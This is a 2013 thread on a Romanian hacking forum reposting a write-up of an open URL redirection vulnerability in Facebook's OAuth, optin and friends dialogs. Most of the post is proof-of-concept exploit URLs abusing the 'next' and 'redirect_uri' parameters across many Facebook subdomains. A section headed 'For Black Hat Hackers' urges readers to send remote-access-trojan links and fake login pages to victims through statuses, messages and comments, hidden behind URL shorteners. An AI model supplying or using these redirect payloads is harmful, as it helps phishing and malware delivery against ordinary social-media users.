Hack Forums,Cryptography, Encryption, and DecryTV Online,Dolce Sport Live,GSP SI DIGI SPORT ONLINE,FileList si Openetwork,Yahoo Invisible Check,Hack,windows,linux,games,cs,arhiva,psybnc,mirc,scan,ssh,free porn movie,xxx,sex,Digi keyMatrimoniale,Wantedsoft
Welcome to www.team3d.3xforum.ro GSP SI DIGI SPORT ONLINE,FileList si Openetwork,Yahoo Invisible Check,Hack,windows,linux,games,cs,arhiva,psybnc,mirc,scan,ssh

Nou pe simpatie:
Ank_beleaua pe Simpatie

Femeie
25 ani
Bucuresti
cauta Barbat
35 - 51 ani

Hack Forums,Cryptography, Encryption, and DecryTV Online,Dolce Sport Live,GSP SI DIGI SPORT ONLINE,FileList si Openetwork,Yahoo Invisible Check,Hack,windows,linux,games,cs,arhiva,psybnc,mirc,scan,ssh,free porn movie,xxx,sex,Digi keyMatrimoniale,Wantedsoft Reguli Inregistrare Login PozeNu sunteti logat. Lista Forumurilor Pe Tematici

Facebook Open URL Redirection Vulnerability 2013

Pagini: 1

Moderat de Anonymus

[ESP][D][M][X]Team**3D**
Administrator
Postari: 78239

[size=large][font=Arial][align=center]This is Dedicated to all Hackforum Members[/align][/font][/size]

[align=center]

[/align]
[size=large][font=Verdana]Description:[/font][/size]
[#] Title : Facebook Open URL Redirection Vulnerability 2013
[#] Status : Unfixed
[#] Severity : High
[#] Works on : Any browser with any version
[#] Author : Arul Kumar.V
[#] Email :

I have found Open URL Redirection Vulnerability in facebook's dialogs such as "OAuth Dialog","Option Dialog","Friends Dialog".
This Vulnerability is exploitable to all users who are signed into facebook.In this report,I have included some creative technique with parameters to exploit this bug.

[size=large][font=Verdana]Impact of Vulnerability:[/font][/size]
1. The user may be redirected to an untrusted page that contains malware which may then compromise the user's machine.

2. The user may be subjected to phishing attacks by being redirected to an untrusted page.

3. This bug can be applicable to any user who are signed in which works at any browsers with any version.

[font=Verdana][size=large]Vulnerable Dialogs:[/size][/font]
Option Dialog : (/dialog/optin)
OAuth Dialog : (/dialog/oauth)
Friends Dialog : (/dialog/friends)

[size=large][font=Verdana]Proof Of Concept:[/font][/size]
If any signed facebook user clicks any one of the following link,they will be redirected into our desired pages.URL Shorteners can be used to mask malicious links.

[size=large]Note:You must be signed into a facebook account to redirect sites.[/size]

[size=large][font=Verdana]Video:[/font][/size]
Watch this video in High Definition(HD) on vimeo
[video=vimeo]https://vimeo.com/68469298[/video]

[size=large][font=Verdana]Vulnerable URL's[/font][/size]

1) Using "next" Parameter:

Code:

https://www.facebook.com/dialog/optin?app_id==&next=http://google.com

https://www.facebook.com/dialog/oauth?app_id==&next=http://yahoo.com

https://m.facebook.com/dialog/friends?app_id==&next=http://bing.com

2) Using "redirect_uri" Parameter:

Code:

https://www.facebook.com/dialog/optin?app_id==&redirect_uri=http://google.com

https://www.facebook.com/dialog/oauth?app_id==&redirect_uri=http://yahoo.com

https://m.facebook.com/dialog/friends?app_id==&redirect_uri=http://bing.com

[font=Verdana][size=large]For Black Hat Hackers:[/size][/font]
Now you can directly send RAT's link,Fake Pages to your victim in Facebook using this Vulnerability by modifying "redirect_uri" Parameter or "next" Parameter.And also you can use URL shorteners to mask your URL.If any of your victim clicked that link,they will be redirected to your malicious page.
You can use this in status updates,messages,comments,etc inside facebook.Facebook will not warn these URL's if anybody clicked it :hehe:

[size=large][font=Verdana]Explanation:[/font][/size]
1."app_id" Parameter:
Any value can be given as input into this parameter such as alphabets,numbers,special characters.

Example:
app_id=arul,app_id=000,app_id==

2."next" Parameter:
Both "redirect_uri" and "next" Parameters are same.We can use any one of this parameter.Any malicious sites can be given as input into this Parameter with "http://" which will redirect users to that given malicious site.

Example:
next=http://google.com

[size=large][font=Verdana]Affected Facebook Subdomains:[/font][/size]
Both main and mobile site was affected by this vulnerability.It depends upon the dialogs.These are the affected sub-domains in facebook which will vary according to "dialog".Sub domains inlcude mobile,touch,beta-tier and so on.

[font=Verdana]OAuth Dialog: ( /dialog/oauth )[/font]
Just take a look on sub-domains here.Just visit all of these URL's

Code:

https://www.facebook.com/dialog/oauth?app_id==&next=http://www.google.com
https://m.facebook.com/dialog/oauth?app_id==&next=http://www.google.com
https://touch.facebook.com/dialog/oauth?app_id==&next=http://www.google.com
https://beta.facebook.com/dialog/oauth?app_id==&next=http://www.google.com
https://m.beta.facebook.com/dialog/oauth?app_id==&next=http://www.google.com
https://0.facebook.com/dialog/oauth?app_id==&next=http://www.google.com
https://mbasic.facebook.com/dialog/oauth?app_id==&next=http://www.google.com
https://pixel.facebook.com/dialog/oauth?app_id==&next=http://www.google.com

[font=Verdana]Option Dialog: ( /dialog/optin )[/font]

Code:

https://www.facebook.com/dialog/optin?app_id=:&next=http://www.yahoo.com
https://m.facebook.com/dialog/optin?app_id=:&next=http://www.yahoo.com
https://touch.facebook.com/dialog/optin?app_id=:&next=http://www.yahoo.com
https://beta.facebook.com/dialog/optin?app_id=:&next=http://www.yahoo.com
https://m.beta.facebook.com/dialog/optin?app_id=:&next=http://www.yahoo.com
https://0.facebook.com/dialog/optin?app_id=:&next=http://www.yahoo.com
https://mbasic.facebook.com/dialog/optin?app_id=:&next=http://www.yahoo.com
https://pixel.facebook.com/dialog/optin?app_id=:&next=http://www.yahoo.com

Friends Dialog: ( /dialog/friends )

Code:

https://m.facebook.com/dialog/friends?app_id=:&next=http://twitter.com
https://touch.facebook.com/dialog/friends?app_id=:&next=http://twitter.com
https://m.beta.facebook.com/dialog/friends?app_id=:&next=http://twitter.com
https://0.facebook.com/dialog/friends?app_id=:&next=http://twitter.com
https://mbasic.facebook.com/dialog/friends?app_id=:&next=http://twitter.com

[size=large][font=Verdana]My Blogspot:[/font][/size]
If you need more details about this bug Visit my blog,

Code:

http://arulxtronix.blogspot.in/2013/06/facebook-open-url-redirection_3515.html

[font=Verdana][size=large]Conclusion:[/size][/font]
Finally i have submitted "Open Redirection Vulnerability" with Proof of Concept,Explanation,Instructions.This Vulnerability will works to any facebook user in this universe if they signed in.If you have any queries feel free to contact me at .Full credits goes to me

[align=center]

[/align]

Anonymus
Moderator
Postari: 1337

nice tutorial bro.

Topicuri similare

Pagini: 1

Mergi la